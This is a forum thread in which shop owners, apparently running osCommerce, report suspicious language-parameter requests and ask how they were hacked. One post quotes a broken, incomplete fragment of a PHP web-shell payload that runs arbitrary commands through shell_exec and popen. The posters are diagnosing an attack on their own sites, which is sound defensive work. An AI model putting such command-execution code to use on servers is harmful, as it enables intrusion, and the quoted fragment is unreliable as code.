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Virus attack that Links language to other site?


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Just found this in my whos online list. How did it get there is it a virus?




Do not open the link to beforethehighway as it contains a virus. Any ideas on how to remove this or wher it might be found on the site?

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we have currently a similar problem. When I look into the who's online page, there are often page requests like this






The content of the text-file is


echo "Mic22";
echo $eseguicmd;

function ex($cfe){
$res = '';
if (!empty($cfe)){
$res = join("n",$res);
$res = @shell_exec($cfe);
$res = @ob_get_contents();
$res = @ob_get_contents();
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
return $res;




may this be dangerous?




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Seems you have been hacked through XSS (cross site scripting). Either you are using an older version of osCommerce which had some vulnerabilities, or you are using one or more contributions which are vulnerable for XSS. It would be a good thing to update to the latest osCommerce version and check your contributions.


Maybe the above posters have some contributions in common?

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does an entry in the who-is-online like the above mean that the hack was successful or was it just a try?


Is it possible to forward requests with this to any site


maybe like


if length ($HTTP_GET_VARS['language'] )>2 



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